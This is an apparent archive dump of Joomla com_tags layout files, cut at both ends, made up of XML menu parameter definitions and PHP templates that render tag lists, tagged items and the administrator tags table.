				label="JGLOBAL_FILTER_FIELD_LABEL"
				default=""
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_headings"
				type="list"
				label="JGLOBAL_SHOW_HEADINGS_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_pagination_limit"
				type="list"
				label="JGLOBAL_DISPLAY_SELECT_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="display_num"
				type="list"
				label="COM_TAGS_FIELD_NUMBER_ITEMS_LIST_LABEL"
				class="form-select-color-state"
				validate="options"
				>
				<option value="">JGLOBAL_USE_GLOBAL</option>
				<option value="5">J5</option>
				<option value="10">J10</option>
				<option value="15">J15</option>
				<option value="20">J20</option>
				<option value="25">J25</option>
				<option value="30">J30</option>
				<option value="50">J50</option>
				<option value="100">J100</option>
				<option value="0">JALL</option>
			</field>

			<field
				name="show_pagination"
				type="list"
				label="JGLOBAL_PAGINATION_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
				<option value="2">JGLOBAL_AUTO</option>
			</field>

			<field
				name="show_pagination_results"
				type="list"
				label="JGLOBAL_PAGINATION_RESULTS_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="tag_list_show_date"
				type="list"
				label="JGLOBAL_SHOW_DATE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="created">JGLOBAL_CREATED</option>
				<option value="modified">JGLOBAL_MODIFIED</option>
				<option value="published">JPUBLISHED</option>
			</field>

			<field
				name="date_format"
				type="text"
				label="JGLOBAL_DATE_FORMAT_LABEL"
				description="JGLOBAL_DATE_FORMAT_DESC"
			/>

		</fieldset>

		<fieldset name="selection" label="COM_TAGS_LIST_SELECTION_OPTIONS">

			<field
				name="return_any_or_all"
				type="list"
				label="COM_TAGS_SEARCH_TYPE_LABEL"
				useglobal="true"
				validate="options"
				>
				<option value="0">COM_TAGS_ALL</option>
				<option value="1">COM_TAGS_ANY</option>
			</field>

			<field
				name="include_children"
				type="list"
				label="COM_TAGS_INCLUDE_CHILDREN_LABEL"
				default=""
				useglobal="true"
				validate="options"
				>
				<option value="0">COM_TAGS_EXCLUDE</option>
				<option value="1">COM_TAGS_INCLUDE</option>
			</field>

		</fieldset>

		<fieldset name="integration">

			<field
				name="show_feed_link"
				type="list"
				label="JGLOBAL_SHOW_FEED_LINK_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

		</fieldset>
	</fields>
</metadata>
tag/list.php000064400000005272151730233450007014 0ustar00<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_tags
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;

// Note that there are certain parts of this layout used only when there is exactly one tag.
$n    = count($this->items);
$htag = $this->params->get('show_page_heading') ? 'h2' : 'h1';

?>

<div class="com-tags-tag-list tag-category">

    <?php if ($this->params->get('show_page_heading')) : ?>
        <h1>
            <?php echo $this->escape($this->params->get('page_heading')); ?>
        </h1>
    <?php endif; ?>

    <?php if ($this->params->get('show_tag_title', 1)) : ?>
        <<?php echo $htag; ?>>
            <?php echo HTMLHelper::_('content.prepare', $this->tags_title, '', 'com_tags.tag'); ?>
        </<?php echo $htag; ?>>
    <?php endif; ?>

    <?php // We only show a tag description if there is a single tag. ?>
    <?php if (count($this->item) === 1 && ($this->params->get('tag_list_show_tag_image', 1) || $this->params->get('tag_list_show_tag_description', 1))) : ?>
        <div class="com-tags-tag-list__description category-desc">
            <?php $images = json_decode($this->item[0]->images); ?>
            <?php if ($this->params->get('tag_list_show_tag_image', 1) == 1 && !empty($images->image_fulltext)) : ?>
                <?php echo HTMLHelper::_('image', $images->image_fulltext, ''); ?>
            <?php endif; ?>
            <?php if ($this->params->get('tag_list_show_tag_description') == 1 && $this->item[0]->description) : ?>
                <?php echo HTMLHelper::_('content.prepare', $this->item[0]->description, '', 'com_tags.tag'); ?>
            <?php endif; ?>
        </div>
    <?php endif; ?>

    <?php // If there are multiple tags and a description or image has been supplied use that. ?>
    <?php if ($this->params->get('tag_list_show_tag_description', 1) || $this->params->get('show_description_image', 1)) : ?>
        <?php if ($this->params->get('show_description_image', 1) == 1 && $this->params->get('tag_list_image')) : ?>
            <?php echo HTMLHelper::_('image', $this->params->get('tag_list_image'), empty($this->params->get('tag_list_image_alt')) && empty($this->params->get('tag_list_image_alt_empty')) ? false : $this->params->get('tag_list_image_alt')); ?>
        <?php endif; ?>
        <?php if ($this->params->get('tag_list_description', '') > '') : ?>
            <?php echo HTMLHelper::_('content.prepare', $this->params->get('tag_list_description'), '', 'com_tags.tag'); ?>
        <?php endif; ?>
    <?php endif; ?>
    <?php echo $this->loadTemplate('items'); ?>
</div>
tag/list_items.php000064400000015733151730233450010220 0ustar00<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_tags
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Uri\Uri;

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('com_tags.tag-list');

$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn  = $this->escape($this->state->get('list.direction'));
?>
<div class="com-tags-compact__items">
    <form action="<?php echo htmlspecialchars(Uri::getInstance()->toString()); ?>" method="post" name="adminForm" id="adminForm" class="com-tags-tag-list__items">
        <?php if ($this->params->get('filter_field')) : ?>
            <div class="com-tags-tag__filter btn-group">
                <label class="filter-search-lbl visually-hidden" for="filter-search">
                    <?php echo Text::_('COM_TAGS_TITLE_FILTER_LABEL'); ?>
                </label>
                <input
                    type="text"
                    name="filter-search"
                    id="filter-search"
                    value="<?php echo $this->escape($this->state->get('list.filter')); ?>"
                    class="inputbox" onchange="document.adminForm.submit();"
                    placeholder="<?php echo Text::_('COM_TAGS_TITLE_FILTER_LABEL'); ?>"
                >
                <button type="submit" name="filter_submit" class="btn btn-primary"><?php echo Text::_('JGLOBAL_FILTER_BUTTON'); ?></button>
                <button type="reset" name="filter-clear-button" class="btn btn-secondary"><?php echo Text::_('JSEARCH_FILTER_CLEAR'); ?></button>
            </div>
        <?php endif; ?>
        <?php if ($this->params->get('show_pagination_limit')) : ?>
            <div class="btn-group float-end">
                <label for="limit" class="visually-hidden">
                    <?php echo Text::_('JGLOBAL_DISPLAY_NUM'); ?>
                </label>
                <?php echo $this->pagination->getLimitBox(); ?>
            </div>
        <?php endif; ?>

        <?php if (empty($this->items)) : ?>
            <div class="alert alert-info">
                <span class="icon-info-circle" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('INFO'); ?></span>
                    <?php echo Text::_('COM_TAGS_NO_ITEMS'); ?>
            </div>
        <?php else : ?>
            <table class="com-tags-tag-list__category category table table-striped table-bordered table-hover">
                <thead<?php echo $this->params->get('show_headings', '1') ? '' : ' class="visually-hidden"'; ?>>
                    <tr>
                        <th scope="col" id="categorylist_header_title">
                            <?php echo HTMLHelper::_('grid.sort', 'JGLOBAL_TITLE', 'c.core_title', $listDirn, $listOrder); ?>
                        </th>
                        <?php if ($date = $this->params->get('tag_list_show_date')) : ?>
                            <th scope="col" id="categorylist_header_date">
                                <?php if ($date === 'created') : ?>
                                    <?php echo HTMLHelper::_('grid.sort', 'COM_TAGS_' . $date . '_DATE', 'c.core_created_time', $listDirn, $listOrder); ?>
                                <?php elseif ($date === 'modified') : ?>
                                    <?php echo HTMLHelper::_('grid.sort', 'COM_TAGS_' . $date . '_DATE', 'c.core_modified_time', $listDirn, $listOrder); ?>
                                <?php elseif ($date === 'published') : ?>
                                    <?php echo HTMLHelper::_('grid.sort', 'COM_TAGS_' . $date . '_DATE', 'c.core_publish_up', $listDirn, $listOrder); ?>
                                <?php endif; ?>
                            </th>
                        <?php endif; ?>
                    </tr>
                </thead>
                <tbody>
                    <?php foreach ($this->items as $i => $item) : ?>
                        <?php if ($item->core_state == 0) : ?>
                            <tr class="system-unpublished cat-list-row<?php echo $i % 2; ?>">
                        <?php else : ?>
                            <tr class="cat-list-row<?php echo $i % 2; ?>" >
                        <?php endif; ?>
                            <th scope="row" class="list-title">
                                <?php if (($item->type_alias === 'com_users.category') || ($item->type_alias === 'com_banners.category')) : ?>
                                    <?php echo $this->escape($item->core_title); ?>
                                <?php else : ?>
                                    <a href="<?php echo Route::_($item->link); ?>">
                                        <?php echo $this->escape($item->core_title); ?>
                                    </a>
                                <?php endif; ?>
                                <?php if ($item->core_state == 0) : ?>
                                    <span class="list-published badge bg-warning text-light">
                                        <?php echo Text::_('JUNPUBLISHED'); ?>
                                    </span>
                                <?php endif; ?>
                            </th>
                            <?php if ($this->params->get('tag_list_show_date')) : ?>
                                <td class="list-date">
                                    <?php
                                    echo HTMLHelper::_(
                                        'date',
                                        $item->displayDate,
                                        $this->escape($this->params->get('date_format', Text::_('DATE_FORMAT_LC3')))
                                    ); ?>
                                </td>
                            <?php endif; ?>
                            </tr>
                    <?php endforeach; ?>
                </tbody>
            </table>
        <?php endif; ?>

        <?php // Add pagination links ?>
        <?php if (($this->params->def('show_pagination', 2) == 1 || ($this->params->get('show_pagination') == 2)) && ($this->pagination->pagesTotal > 1)) : ?>
            <div class="com-tags-tag-list__pagination w-100">
                <?php if ($this->params->def('show_pagination_results', 1)) : ?>
                    <p class="counter float-end pt-3 pe-2">
                        <?php echo $this->pagination->getPagesCounter(); ?>
                    </p>
                <?php endif; ?>
                <?php echo $this->pagination->getPagesLinks(); ?>
            </div>
        <?php endif; ?>
        <input type="hidden" name="filter_order" value="<?php echo $listOrder; ?>">
        <input type="hidden" name="filter_order_Dir" value="<?php echo $listDirn; ?>">
        <input type="hidden" name="limitstart" value="">
        <input type="hidden" name="task" value="">
    </form>
</div>
tag/default_items.php000064400000012747151730233450010673 0ustar00<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_tags
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Uri\Uri;
use Joomla\Component\Tags\Site\Helper\RouteHelper;

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('com_tags.tag-default');

// Get the user object.
$user = Factory::getUser();

// Check if user is allowed to add/edit based on tags permissions.
// Do we really have to make it so people can see unpublished tags???
$canEdit      = $user->authorise('core.edit', 'com_tags');
$canCreate    = $user->authorise('core.create', 'com_tags');
$canEditState = $user->authorise('core.edit.state', 'com_tags');
?>
<div class="com-tags__items">
    <form action="<?php echo htmlspecialchars(Uri::getInstance()->toString()); ?>" method="post" name="adminForm" id="adminForm">
        <?php if ($this->params->get('filter_field') || $this->params->get('show_pagination_limit')) : ?>
            <?php if ($this->params->get('filter_field')) : ?>
                <div class="com-tags-tags__filter btn-group">
                    <label class="filter-search-lbl visually-hidden" for="filter-search">
                        <?php echo Text::_('COM_TAGS_TITLE_FILTER_LABEL'); ?>
                    </label>
                    <input
                        type="text"
                        name="filter-search"
                        id="filter-search"
                        value="<?php echo $this->escape($this->state->get('list.filter')); ?>"
                        class="inputbox" onchange="document.adminForm.submit();"
                        placeholder="<?php echo Text::_('COM_TAGS_TITLE_FILTER_LABEL'); ?>"
                    >
                    <button type="submit" name="filter_submit" class="btn btn-primary"><?php echo Text::_('JGLOBAL_FILTER_BUTTON'); ?></button>
                    <button type="reset" name="filter-clear-button" class="btn btn-secondary"><?php echo Text::_('JSEARCH_FILTER_CLEAR'); ?></button>
                </div>
            <?php endif; ?>
            <?php if ($this->params->get('show_pagination_limit')) : ?>
                <div class="btn-group float-end">
                    <label for="limit" class="visually-hidden">
                        <?php echo Text::_('JGLOBAL_DISPLAY_NUM'); ?>
                    </label>
                    <?php echo $this->pagination->getLimitBox(); ?>
                </div>
            <?php endif; ?>

            <input type="hidden" name="limitstart" value="">
            <input type="hidden" name="task" value="">
        <?php endif; ?>
    </form>

    <?php if (empty($this->items)) : ?>
        <div class="alert alert-info">
            <span class="icon-info-circle" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('INFO'); ?></span>
            <?php echo Text::_('COM_TAGS_NO_ITEMS'); ?>
        </div>
    <?php else : ?>
        <ul class="com-tags-tag__category category list-group">
            <?php foreach ($this->items as $i => $item) : ?>
                <?php if ($item->core_state == 0) : ?>
                    <li class="list-group-item-danger">
                <?php else : ?>
                    <li class="list-group-item list-group-item-action">
                <?php endif; ?>
                <?php if (($item->type_alias === 'com_users.category') || ($item->type_alias === 'com_banners.category')) : ?>
                    <h3>
                        <?php echo $this->escape($item->core_title); ?>
                    </h3>
                <?php else : ?>
                    <h3>
                        <a href="<?php echo Route::_($item->link); ?>">
                            <?php echo $this->escape($item->core_title); ?>
                        </a>
                    </h3>
                <?php endif; ?>
                <?php // Content is generated by content plugin event "onContentAfterTitle" ?>
                <?php echo $item->event->afterDisplayTitle; ?>
                <?php $images  = json_decode($item->core_images); ?>
                <?php if ($this->params->get('tag_list_show_item_image', 1) == 1 && !empty($images->image_intro)) : ?>
                    <a href="<?php echo Route::_(RouteHelper::getItemRoute($item->content_item_id, $item->core_alias, $item->core_catid, $item->core_language, $item->type_alias, $item->router)); ?>">
                        <?php echo HTMLHelper::_('image', $images->image_intro, $images->image_intro_alt); ?>
                    </a>
                <?php endif; ?>
                <?php if ($this->params->get('tag_list_show_item_description', 1)) : ?>
                    <?php // Content is generated by content plugin event "onContentBeforeDisplay" ?>
                    <?php echo $item->event->beforeDisplayContent; ?>
                    <span class="tag-body">
                        <?php echo HTMLHelper::_('string.truncate', $item->core_body, $this->params->get('tag_list_item_maximum_characters')); ?>
                    </span>
                    <?php // Content is generated by content plugin event "onContentAfterDisplay" ?>
                    <?php echo $item->event->afterDisplayContent; ?>
                <?php endif; ?>
                    </li>
            <?php endforeach; ?>
        </ul>
    <?php endif; ?>
</div>
tag/default.php000064400000006413151730233450007463 0ustar00<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_tags
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;

// Note that there are certain parts of this layout used only when there is exactly one tag.
$isSingleTag = count($this->item) === 1;
$htag        = $this->params->get('show_page_heading') ? 'h2' : 'h1';
?>

<div class="com-tags-tag tag-category">

    <?php if ($this->params->get('show_page_heading')) : ?>
        <h1>
            <?php echo $this->escape($this->params->get('page_heading')); ?>
        </h1>
    <?php endif; ?>

    <?php if ($this->params->get('show_tag_title', 1)) : ?>
        <<?php echo $htag; ?>>
            <?php echo HTMLHelper::_('content.prepare', $this->tags_title, '', 'com_tags.tag'); ?>
        </<?php echo $htag; ?>>
    <?php endif; ?>

    <?php // We only show a tag description if there is a single tag. ?>
    <?php if (count($this->item) === 1 && ($this->params->get('tag_list_show_tag_image', 1) || $this->params->get('tag_list_show_tag_description', 1))) : ?>
        <div class="com-tags-tag__description category-desc">
            <?php $images = json_decode($this->item[0]->images); ?>
            <?php if ($this->params->get('tag_list_show_tag_image', 1) == 1 && !empty($images->image_fulltext)) : ?>
                <?php echo HTMLHelper::_('image', $images->image_fulltext, $images->image_fulltext_alt); ?>
            <?php endif; ?>
            <?php if ($this->params->get('tag_list_show_tag_description') == 1 && $this->item[0]->description) : ?>
                <?php echo HTMLHelper::_('content.prepare', $this->item[0]->description, '', 'com_tags.tag'); ?>
            <?php endif; ?>
        </div>
    <?php endif; ?>

    <?php // If there are multiple tags and a description or image has been supplied use that. ?>
    <?php if ($this->params->get('tag_list_show_tag_description', 1) || $this->params->get('show_description_image', 1)) : ?>
        <?php if ($this->params->get('show_description_image', 1) == 1 && $this->params->get('tag_list_image')) : ?>
            <?php echo HTMLHelper::_('image', $this->params->get('tag_list_image'), empty($this->params->get('tag_list_image_alt')) && empty($this->params->get('tag_list_image_alt_empty')) ? false : $this->params->get('tag_list_image_alt')); ?>
        <?php endif; ?>
        <?php if ($this->params->get('tag_list_description', '') > '') : ?>
            <?php echo HTMLHelper::_('content.prepare', $this->params->get('tag_list_description'), '', 'com_tags.tag'); ?>
        <?php endif; ?>
    <?php endif; ?>
    <?php echo $this->loadTemplate('items'); ?>

    <?php if (($this->params->def('show_pagination', 1) == 1 || ($this->params->get('show_pagination') == 2)) && ($this->pagination->pagesTotal > 1)) : ?>
        <div class="com-tags-tag__pagination w-100">
            <?php if ($this->params->def('show_pagination_results', 1)) : ?>
                <p class="counter float-end pt-3 pe-2">
                    <?php echo $this->pagination->getPagesCounter(); ?>
                </p>
            <?php endif; ?>
            <?php echo $this->pagination->getPagesLinks(); ?>
        </div>
    <?php endif; ?>
</div>
tag/default.xml000064400000014573151730233450007502 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_TAGS_TAG_VIEW_DEFAULT_TITLE" option="COM_TAGS_TAG_VIEW_DEFAULT_OPTION">
		<help
			key="Menu_Item:_Tagged_Items"
		/>
		<message>
			<![CDATA[COM_TAGS_TAG_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>

	<!-- Add fields to the request variables for the layout. -->
	<fields name="request">
		<fieldset name="request">

			<field
				name="id"
				type="tag"
				label="COM_TAGS_FIELD_TAG_LABEL"
				mode="nested"
				required="true"
				multiple="true"
				custom="false"
			/>

			<field
				name="types"
				type="contenttype"
				label="COM_TAGS_FIELD_TYPE_LABEL"
				layout="joomla.form.field.list-fancy-select"
				multiple="true"
			/>

			<field
				name="tag_list_language_filter"
				type="contentlanguage"
				label="COM_TAGS_FIELD_LANGUAGE_FILTER_LABEL"
				default=""
				useglobal="true"
				>
				<option value="all">JALL</option>
				<option value="current_language">JCURRENT</option>
			</field>

		</fieldset>
	</fields>

	<!-- Add fields to the parameters object for the layout. -->
<fields name="params">
	<fieldset name="basic" label="COM_TAGS_OPTIONS">

			<field
				name="show_tag_title"
				type="list"
				label="COM_TAGS_SHOW_TAG_TITLE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="tag_list_show_tag_image"
				type="list"
				label="COM_TAGS_SHOW_TAG_IMAGE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="tag_list_show_tag_description"
				type="list"
				label="COM_TAGS_SHOW_TAG_DESCRIPTION_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="tag_list_image"
				type="media"
				schemes="http,https,ftp,ftps,data,file"
				validate="url"
				relative="true"
				label="COM_TAGS_TAG_LIST_MEDIA_LABEL"
			/>

			<field
				name="tag_list_image_alt"
				type="text"
				label="COM_TAGS_TAG_LIST_MEDIA_ALT_LABEL"
			/>

			<field
				name="tag_list_image_alt_empty"
				type="checkbox"
				label="COM_TAGS_TAG_LIST_MEDIA_ALT_EMPTY_LABEL"
				description="COM_TAGS_TAG_LIST_MEDIA_ALT_EMPTY_DESC"
			/>

			<field
				name="tag_list_description"
				type="textarea"
				label="COM_TAGS_SHOW_TAG_LIST_DESCRIPTION_LABEL"
				description="COM_TAGS_TAG_LIST_DESCRIPTION_DESC"
				rows="3"
				cols="30"
				filter="safehtml"
			/>

			<field
				name="tag_list_orderby"
				type="list"
				label="JGLOBAL_FIELD_FIELD_ORDERING_LABEL"
				default=""
				useglobal="true"
				validate="options"
				>
				<option value="c.core_title">JGLOBAL_TITLE</option>
				<option value="match_count">COM_TAGS_MATCH_COUNT</option>
				<option value="c.core_created_time">JGLOBAL_CREATED_DATE</option>
				<option value="c.core_modified_time">JGLOBAL_MODIFIED_DATE</option>
				<option value="c.core_publish_up">JGLOBAL_PUBLISHED_DATE</option>
			</field>

			<field
				name="tag_list_orderby_direction"
				type="list"
				label="JGLOBAL_ORDER_DIRECTION_LABEL"
				useglobal="true"
				validate="options"
				>
				<option value="ASC">JGLOBAL_ORDER_ASCENDING</option>
				<option value="DESC">JGLOBAL_ORDER_DESCENDING</option>
			</field>

		</fieldset>

		<fieldset name="advanced" label="COM_TAGS_ITEM_OPTIONS" description="COM_TAGS_SUBSLIDER_DRILL_TAG_LIST_LABEL">

			<field
				name="tag_list_show_item_image"
				type="list"
				label="COM_TAGS_TAG_LIST_SHOW_ITEM_IMAGE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="tag_list_show_item_description"
				type="list"
				label="COM_TAGS_TAG_LIST_SHOW_ITEM_DESCRIPTION_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="tag_list_item_maximum_characters"
				type="number"
				label="COM_TAGS_LIST_MAX_CHARACTERS_LABEL"
				filter="integer"
				useglobal="true"
			/>

			<field
				name="filter_field"
				type="list"
				label="JGLOBAL_FILTER_FIELD_LABEL"
				default=""
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>
		</fieldset>

		<fieldset name="pagination" label="COM_TAGS_PAGINATION_OPTIONS">

			<field
				name="show_pagination_limit"
				type="list"
				label="JGLOBAL_DISPLAY_SELECT_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_pagination"
				type="list"
				label="JGLOBAL_PAGINATION_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
				<option value="2">JGLOBAL_AUTO</option>
			</field>

			<field
				name="show_pagination_results"
				type="list"
				label="JGLOBAL_PAGINATION_RESULTS_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

		</fieldset>

		<fieldset name="selection" label="COM_TAGS_LIST_SELECTION_OPTIONS">

			<field
				name="return_any_or_all"
				type="list"
				label="COM_TAGS_SEARCH_TYPE_LABEL"
				useglobal="true"
				validate="options"
				>
				<option value="0">COM_TAGS_ALL</option>
				<option value="1">COM_TAGS_ANY</option>
			</field>

			<field
				name="include_children"
				type="list"
				label="COM_TAGS_INCLUDE_CHILDREN_LABEL"
				default=""
				useglobal="true"
				validate="options"
				>
				<option value="0">COM_TAGS_EXCLUDE</option>
				<option value="1">COM_TAGS_INCLUDE</option>
			</field>

		</fieldset>

		<fieldset name="integration">

			<field
				name="show_feed_link"
				type="list"
				label="JGLOBAL_SHOW_FEED_LINK_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

		</fieldset>
	</fields>
</metadata>
tags/default.xml000064400000000303151730233450007647 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_TAGS_TAGS_VIEW_DEFAULT_TITLE">
		<message>
			<![CDATA[COM_TAGS_TAGS_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>tags/default.php000064400000041250151730233450007644 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_tags
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Session\Session;
use Joomla\String\Inflector;

/** @var \Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('table.columns')
    ->useScript('multiselect');

$app       = Factory::getApplication();
$user      = Factory::getUser();
$userId    = $user->get('id');
$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn  = $this->escape($this->state->get('list.direction'));
$saveOrder = ($listOrder == 'a.lft' && strtolower($listDirn) == 'asc');
$extension = $this->escape($this->state->get('filter.extension'));
$parts     = explode('.', $extension);
$component = $parts[0];
$section   = null;
$mode      = false;

if (count($parts) > 1) {
    $section = $parts[1];
    $inflector = Inflector::getInstance();

    if (!$inflector->isPlural($section)) {
        $section = $inflector->toPlural($section);
    }
}

if ($section === 'categories') {
    $mode = true;
    $section = $component;
    $component = 'com_categories';
}

if ($saveOrder && !empty($this->items)) {
    $saveOrderingUrl = 'index.php?option=com_tags&task=tags.saveOrderAjax&' . Session::getFormToken() . '=1';
    HTMLHelper::_('draggablelist.draggable');
}
?>
<form action="<?php echo Route::_('index.php?option=com_tags&view=tags'); ?>" method="post" name="adminForm" id="adminForm">
    <div id="j-main-container" class="j-main-container">
        <?php
        // Search tools bar
        echo LayoutHelper::render('joomla.searchtools.default', ['view' => $this]);
        ?>
        <?php if (empty($this->items)) : ?>
            <div class="alert alert-info">
                <span class="icon-info-circle" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('INFO'); ?></span>
                <?php echo Text::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
            </div>
        <?php else : ?>
            <table class="table" id="tagList">
                <caption class="visually-hidden">
                    <?php echo Text::_('COM_TAGS_TABLE_CAPTION'); ?>,
                            <span id="orderedBy"><?php echo Text::_('JGLOBAL_SORTED_BY'); ?> </span>,
                            <span id="filteredBy"><?php echo Text::_('JGLOBAL_FILTERED_BY'); ?></span>
                </caption>
                <thead>
                    <tr>
                        <td class="w-1 text-center">
                            <?php echo HTMLHelper::_('grid.checkall'); ?>
                        </td>
                        <th scope="col" class="w-1 d-none d-md-table-cell text-center">
                            <?php echo HTMLHelper::_('searchtools.sort', '', 'a.lft', $listDirn, $listOrder, null, 'asc', 'JGRID_HEADING_ORDERING', 'icon-sort'); ?>
                        </th>
                        <th scope="col" class="w-1 text-center">
                            <?php echo HTMLHelper::_('searchtools.sort', 'JSTATUS', 'a.published', $listDirn, $listOrder); ?>
                        </th>
                        <th scope="col">
                            <?php echo HTMLHelper::_('searchtools.sort', 'JGLOBAL_TITLE', 'a.title', $listDirn, $listOrder); ?>
                        </th>

                        <?php if (isset($this->items[0]) && property_exists($this->items[0], 'count_published')) : ?>
                            <th scope="col" class="w-1 text-center d-none d-md-table-cell">
                                <span class="icon-check" aria-hidden="true" title="<?php echo Text::_('COM_TAGS_COUNT_PUBLISHED_ITEMS'); ?>"><span class="visually-hidden"><?php echo Text::_('COM_TAGS_COUNT_PUBLISHED_ITEMS'); ?></span></span>
                            </th>
                        <?php endif; ?>
                        <?php if (isset($this->items[0]) && property_exists($this->items[0], 'count_unpublished')) : ?>
                            <th scope="col" class="w-1 text-center d-none d-md-table-cell">
                                <span class="icon-times" aria-hidden="true" title="<?php echo Text::_('COM_TAGS_COUNT_UNPUBLISHED_ITEMS'); ?>"><span class="visually-hidden"><?php echo Text::_('COM_TAGS_COUNT_UNPUBLISHED_ITEMS'); ?></span></span>
                            </th>
                        <?php endif; ?>
                        <?php if (isset($this->items[0]) && property_exists($this->items[0], 'count_archived')) : ?>
                            <th scope="col" class="w-1 text-center d-none d-md-table-cell">
                                <span class="icon-folder icon-fw" aria-hidden="true" title="<?php echo Text::_('COM_TAGS_COUNT_ARCHIVED_ITEMS'); ?>"><span class="visually-hidden"><?php echo Text::_('COM_TAGS_COUNT_ARCHIVED_ITEMS'); ?></span></span>
                            </th>
                        <?php endif; ?>
                        <?php if (isset($this->items[0]) && property_exists($this->items[0], 'count_trashed')) : ?>
                            <th scope="col" class="w-1 text-center d-none d-md-table-cell">
                                <span class="icon-trash" aria-hidden="true" title="<?php echo Text::_('COM_TAGS_COUNT_TRASHED_ITEMS'); ?>"><span class="visually-hidden"><?php echo Text::_('COM_TAGS_COUNT_TRASHED_ITEMS'); ?></span></span>
                            </th>
                        <?php endif; ?>

                        <th scope="col" class="w-10 d-none d-md-table-cell">
                            <?php echo HTMLHelper::_('searchtools.sort', 'JGRID_HEADING_ACCESS', 'a.access', $listDirn, $listOrder); ?>
                        </th>
                        <?php if (Multilanguage::isEnabled()) : ?>
                            <th scope="col" class="w-10 d-none d-md-table-cell">
                                <?php echo HTMLHelper::_('searchtools.sort', 'JGRID_HEADING_LANGUAGE', 'a.language', $this->state->get('list.direction'), $this->state->get('list.ordering')); ?>
                            </th>
                        <?php endif; ?>
                        <th scope="col" class="w-10 d-none d-md-table-cell text-center">
